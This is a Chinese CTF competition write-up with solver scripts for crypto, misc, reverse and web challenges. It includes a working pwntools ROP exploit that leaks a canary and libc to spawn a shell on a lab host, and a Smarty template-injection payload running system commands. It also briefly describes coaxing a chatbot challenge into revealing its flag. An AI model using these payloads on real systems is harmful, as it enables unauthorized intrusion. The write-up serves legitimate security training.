文章目录
- Crypto
- 比base64少的base
- affine
- 简单的RSA
- Misc
- 不要动我的flag
- SimpleUSB
- 猜猜我是谁
- 不聪明的AI
- Pwn
- getitez
- bbstack
- Reverse
- 谁的DNA动了
- Don't Touch Me
- Web
- little_game
- justppb
- ezbbs
- smart
题目附件,文章末尾微信公众号点点关注亲,谢谢亲~
题目附件链接:https://pan.baidu.com/s/1kC9kiyUCfjTxqkXPpUFoXw
提取码:dh2w
Crypto
比base64少的base
affine
wohz{k533q73q-t76t-9292-351w-h880t22q2q59}
a=3 b=7
简单的RSA
p = r**5 + r**4 - r**3 + r**2 - r + 2023
q = r**5 - r**4 + r**3 - r**2 + r + 2023
所以n近似等于
r**10 - r**8 + 2*r**7 - 3*r**6 + 4050*r**5 - 3*r**4 + 2*r**3 - r**2 + 4092529==n
z3
求解出r
,进而得到p
、q
,然后进行常规的解密
n = 25066797992811602609904442429968244207814135173233823574561146780193277243588729282392464721760638040595480284865294238118778099149754637586361909432730412493061503054820202744474632665791457
r = Real('r')
s = Solver()
s.add(r**10 - r**8 + 2*r**7 - 3*r**6 + 4050*r**5 - 3*r**4 + 2*r**3 - r**2 + 4092529==n)
print(s.check())
print(s.model())
[r = -10962507061290870331]
from Crypto.Util.number import *
# from secret import flag
from sympy import nextprime
flag=b''
r = 10962507061290870331
p = r**5 + r**4 - r**3 + r**2 - r + 2023
q = r**5 - r**4 + r**3 - r**2 + r + 2023
p =nextprime(p)
q =nextprime(q)
n = p*q
d = inverse_mod(65537,(p-1)*(q-1))
c = 18808483076270941157829928736000549389727451019027515249724024369421942132354537978233676261769285858813983730966871222263698559152437016666829640339912308636169767041243411900882395764607422
def enc(c, n):
return ZZ(pow(c, d, n))
long_to_bytes(enc(c, n))
b'flag{5afe5cbb-4b4c-9cb6-f8b6-032cabf4b7e7}'
Misc
不要动我的flag
追踪TCP流,第0
个流发现flag的sha256
第3
个流发现残缺的flag
import random
import hashlib
hexStr = "0123456789abcdef"
while True:
partFlag = ''.join([random.choice(hexStr) for _ in range(4)])
flag = 'flag{{22af230f-bbed-{}-95fa-b6b1ca6dc32e}}'.format(partFlag)
sha256Flag = hashlib.sha256(flag.encode()).hexdigest()
if sha256Flag[:20] == 'c7e6ea42b7301e6330ba':
print(flag, sha256Flag)
break
PS C:\Users\Administrator\Downloads> python .\misc.py
flag{22af230f-bbed-48b9-95fa-b6b1ca6dc32e} c7e6ea42b7301e6330ba3959fe407930191d371885935ad4cd51e95e857a3155
SimpleUSB
原题:HWS第七期夏令营(硬件安全营)预选赛Misc USB
过滤所有的长度为35
的usb.capdata
D:\Wireshark\tshark.exe -r .\misc1.pcapng -T fields -Y "frame.len==35" -e usb.capdata > keyboard.txt
有很多20
开头的这些里面也是有键盘数据的,把条件一起加进去,然后脚本处理
# -*- coding: utf-8 -*-
import re
normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i",
"0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r",
"16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1",
"1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[",
"30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
"40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I",
"0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R",
"16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!",
"1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{",
"30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
"40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
def filterProcess(output):
content = output.replace('<SPACE>', ' ')
while True:
if '<DEL>' in content:
content = re.sub(r'[^>]<DEL>', '', content)
else:
break
return content
with open('keyboard.txt', 'r') as f:
output = ""
lines = f.readlines()
for line in lines:
ifShiftKeys, usbData = line[0:2], line[4:6]
if usbData != "00":
if ifShiftKeys == "00":
if usbData in normalKeys:
output += normalKeys[usbData]
elif ifShiftKeys == "02" or ifShiftKeys == "20": # 按下了Shift键
if usbData in shiftKeys:
output += shiftKeys[usbData]
print("[+]Output: {}\n".format(output))
print("[+]Filter Processed: {}".format(filterProcess(output)))
PS C:\Users\Administrator\Downloads> python .\UsbKeyboard.py
[+]Output: Ao(mgHy<DEL>Y$\<CAP>a@q7<CAP>gW2D$dE@6#oO0f<Gm1hAI'/N#4C<DEL><AN;<CAP>ms@p<CAP>frQ149K
最终得到:Ao(mgHY$\A@Q7gW2D$dE@6#oO0f<Gm1hAI'/N#4<AN;MS@PfrQ149K
直接跑一下看看是啥子
猜猜我是谁
根据题目提示猜测outguess
的密码是扑克牌K
画像的人名:caesar
r
然后还有一层凯撒
不聪明的AI
输入flag
回答说中文
,直接输出旗帜
返回flag
Pwn
getitez
静态分析下,addbook
里面的v9
是栈上的,v8
指向addbook
的函数
addbook
函数, 上面v9
是0x18
, 下面read
可以读0x100
个字节,明显一个栈溢出,先用 showbook
功能leak
出canary
和libc
地址,然后ROP
__int64 __fastcall sub_14BA(__int64 a1, void *a2)
{
__int64 result; // rax
std::operator<<<std::char_traits<char>>(&std::cout, "book name:");
read(0, a2, 0x100uLL);
std::operator<<<std::char_traits<char>>(&std::cout, "book price:");
std::istream::operator>>(&std::cin, a1 + 8);
result = a1;
*(_QWORD *)(a1 + 16) = a2;
return result;
}
exp
from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux', log_level = 'info') #info
path = "./getitez"
#p = process(path)
p = remote('10.10.10.101', 35067)
elf = ELF(path)
libc = elf.libc
def g():
gdb.attach(p)
raw_input()
sl = lambda arg : p.sendline(arg)
sla = lambda arg1, arg2 : p.sendlineafter(arg1, arg2)
sd = lambda arg : p.send(arg)
ru = lambda arg : p.recvuntil(arg)
rl = lambda : p.recvline()
sa = lambda arg1, arg2 : p.sendafter(arg1, arg2)
inv = lambda : p.interactive()
def choice(num):
sla(b'choice', str(num).encode())
def addbook(name):
choice(1)
sla(b'name:', name)
sla(b'price:', b'123')
def showbook():
choice(2)
pay = b'a' * 0x18
addbook(pay)
showbook()
ru(b'a' * 0x18)
canary = int.from_bytes(p.recv(14), 'little') & 0xffffffffffffff00
log.success('canary = ' + hex(canary))
pay1 = b'a' * 0x38
addbook(pay1)
showbook()
libc_base = u64(ru(b'\x7f')[-6:].ljust(0x8, b'\x00'))
libc.address = libc_base = ((libc_base - libc.sym['__libc_start_main']) >> 12) << 12
log.success('libc_base = ' + hex(libc_base))
bin_sh = next(libc.search(b"/bin/sh"))
system_addr = libc.sym['system']
pop_rdi = next(libc.search(asm("pop rdi; ret")))
log.success("bin_sh = " + hex(bin_sh))
log.success("system_addr = " + hex(system_addr))
payload = b'a' * 0x18 + p64(canary)
payload += p64(pop_rdi + 1) * 4 + p64(pop_rdi)
payload += p64(bin_sh) + p64(system_addr)
addbook(payload)
choice(4)
inv()
bbstack
还在研究中…
Reverse
谁的DNA动了
程序主函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+Ch] [rbp-14h]
int i; // [rsp+10h] [rbp-10h]
int s; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v7 = __readfsqword(0x28u);
init(argc, argv, envp);
s = 0;
v4 = read(0, inputs, 0x40uLL);
if ( inputs[v4 - 1] == 10 )
inputs[--v4] = 0;
for ( i = 0; i < (int)v4; ++i )
{
memset(&s, 0, sizeof(s));
encode(inputs[i], (__int64)&s);
outputs[4 * i + 3] = s;
outputs[4 * i + 2] = BYTE1(s);
outputs[4 * i + 1] = BYTE2(s);
outputs[4 * i] = HIBYTE(s);
}
if ( (unsigned __int8)judge(outputs, CODE, v4) )
{
puts("well done!you get it");
}
else if ( !strncmp("flag{", inputs, 5uLL) )
{
//最开始看到后面那个太激动, 以为直接爆破4字节的md5就行,不过交上去是错的, 还是得逆
puts("hey!tell you the 'flag'?");
puts("flag{Th14_15_a_xxxx_flAg},the MD5 hash value of xxxx is \"7c76fb919bab9a1abfe854cf80725a09\",just 4 bytes");
}
return 0;
}
//子函数1
__int64 __fastcall encode(unsigned int a1, __int64 a2)
{
__int64 result; // rax
int i; // [rsp+1Ch] [rbp-4h]
result = a1;
for ( i = 0; i <= 3; ++i ) // box = "AGCT"
{
result = (unsigned __int8)box[((char)a1 >> (2 * i)) & 3];
*(_BYTE *)(i + a2) = result;
}
return result;
}
//子函数2
bool __fastcall judge(__int64 a1, __int64 a2, int a3)
{
int v4; // ebx
int v5; // ebx
int v6; // r12d
int v8; // [rsp+28h] [rbp-18h]
int i; // [rsp+2Ch] [rbp-14h]
v8 = 0;
if ( 4 * a3 > strlen(CODE) )
return 0;
for ( i = 0; i < a3; ++i )
{
v4 = Int(*(_BYTE *)(i + a1));
v5 = Int(*(_BYTE *)(i + a2)) + v4;
v6 = Int('K');
if ( v5 == v6 - (unsigned int)Int('B') )
++v8;
}
return 4 * v8 == strlen(CODE);
}
//子函数3
__int64 __fastcall Int(char a1)
{
__int64 result; // rax
switch ( a1 )
{
case 'A':
result = 0LL;
break;
case 'B':
result = 4LL;
break;
case 'C':
result = 2LL;
break;
case 'D':
result = 5LL;
break;
case 'F':
result = 6LL;
break;
case 'G':
result = 1LL;
break;
case 'K':
result = 7LL;
break;
case 'M':
result = 8LL;
break;
case 'T':
result = 3LL;
break;
default:
result = 10LL;
break;
}
return result;
}
一个ascii码字符是8位,循环4次,每次取2位,然后按照box数组存储,就是每4个encode后的字符就是原来的一个字符
最后对比的对象
CODE = "CGCGCGATCGTCCGCACAGATACATATGTACCTATTTATTTAGTCGTCTACCCGCCTACGCGCCTACGTACCCGCTCGTCTATTTATCCGTATATTTACTTAGCTATCTACTCGTATACTTACATACGCGTCCGCCTATTTAGTTACACAAC"
先根据CODE还原出encode后的字符串
#include "header.h"
#include "base64.cpp"
#include "func.cpp"
#include "tea.cpp"
__int64 __fastcall Int(char a1)
{
__int64 result; // rax
switch ( a1 )
{
case 'A':
result = 0LL;
break;
case 'B':
result = 4LL;
break;
case 'C':
result = 2LL;
break;
case 'D':
result = 5LL;
break;
case 'F':
result = 6LL;
break;
case 'G':
result = 1LL;
break;
case 'K':
result = 7LL;
break;
case 'M':
result = 8LL;
break;
case 'T':
result = 3LL;
break;
default:
result = 10LL;
break;
}
return result;
}
int main()
{
char ans[] = "CGCGCGATCGTCCGCACAGATACATATGTACCTATTTATTTAGTCGTCTACCCGCCTACGCGCCTACGTACCCGCTCGTCTATTTATCCGTATATTTACTTAGCTATCTACTCGTATACTTACATACGCGTCCGCCTATTTAGTTACACAAC";
char res[0x100] = {0};
p(i, 0, strlen(ans)) {
p(j, 0x20, 0x7f) {
if (Int(ans[i]) + Int((char)j) == 3){
res[i] = (char)j;
}
}
}
p(i, 0, strlen(res)) {
printf("%c", res[i]);
}
//GCGCGCTAGCAGGCGTGTCTATGTATACATGGATAAATAAATCAGCAGATGGGCGGATGCGCGGATGCATGGGCGAGCAGATAAATAGGCATATAAATGAATCGATAGATGAGCATATGAATGTATGCGCAGGCGGATAAATCAATGTGTTG
return 21;
}
然后就是将4个字符重新组合成原来的1个字符
res = "GCGCGCTAGCAGGCGTGTCTATGTATACATGGATAAATAAATCAGCAGATGGGCGGATGCGCGGATGCATGGGCGAGCAGATAAATAGGCATATAAATGAATCGATAGATGAGCATATGAATGTATGCGCAGGCGGATAAATCAATGTGTTG"
box = "AGCT"
for i in range(0, len(res), 4):
a1 = (int(box.index(res[i])))
a2 = (int(box.index(res[i + 1])))
a3 = (int(box.index(res[i + 2])))
a4 = (int(box.index(res[i + 3])))
c = ((a1 << 6) + (a2 << 4) + (a3 << 2) + a4)
print(chr(c), end='')
#flag{725008a5e6e65da01c04914c476ae087}
Don’t Touch Me
程序给的是一个ELF文件,结果用ida看一篇混乱,发现有很多python的痕迹,估计是python打包的ELF,用工具还原
还原后
基本上就是对导入的touch.check
的调用,用ida看py解包出来的touch.so
文件
__int64 __fastcall check(BYTE *a1)
{
int i; // [rsp+10h] [rbp-8h]
int j; // [rsp+14h] [rbp-4h]
for ( i = 0; i <= 37; ++i )
{
a1[i] ^= 0x25u;
a1[i] *= 2;
}
for ( j = 0; j <= 37; ++j )
{
if ( a1[j] != ans[j] )
return 0LL;
}
return 1LL;
}
#ans = [0x86, 0x92, 0x88, 0x84, 0xbc, 0xea, 0xb8, 0xf4, 0x28, 0x2c, 0xf4, 0x2c, 0xca, 0xac, 0xb8, 0xf4, 0xc2, 0x2a, 0x96, 0x24, 0xf4, 0xe2, 0x2a, 0xa0, 0x2e, 0x9a, 0xf4, 0xd0, 0x2c, 0xf4, 0xc8, 0x84, 0x88, 0x98, 0x96, 0x8, 0xb0, 0x4a]
把操作还原就行
enc = [0x86, 0x92, 0x88, 0x84, 0xbc, 0xea, 0xb8, 0xf4, 0x28, 0x2c, 0xf4, 0x2c, 0xca, 0xac, 0xb8, 0xf4, 0xc2, 0x2a,
0x96, 0x24, 0xf4, 0xe2, 0x2a, 0xa0, 0x2e, 0x9a, 0xf4, 0xd0, 0x2c, 0xf4, 0xc8, 0x84, 0x88, 0x98, 0x96, 0x8,
0xb0, 0x4a]
for i in enc:
c = chr((i // 2) ^ 0x25)
print(c, end='')
#flag{Py_13_3@sy_D0n7_T0u2h_M3_Again!}
Web
little_game
查看源码发现一个success
,给了一串字符,以及一个数组下标,直接就是遍历这串字符的下标得到的就是flag
arr = '1234567890qwertyuiopasdfghjklzxcvbnm{}-'
index = [23,28,20,24,36,1,3,7,6,3,38,2,8,9,5,7,21,38,9,3,6,18,22,38,26,16,6,18,15,37]
print(''.join([arr[i] for i in index]))
# flag{24874-39068s-047od-ju7oy}
justppb
试过爆破,但是习惯用的是自己的字典,没想到这里要用Burp自带的字典和密码爆破。。。。。
ezbbs
还在研究中…
smart
Smarty的模板注入:https://xz.aliyun.com/t/11108#toc-6
就是换了个名字,把template_object
改成template
即可
data=string:{$smarty.template->smarty->enableSecurity()->display('string:{system("ls -lha /")}')}
绕过直接?
匹配或者通配符*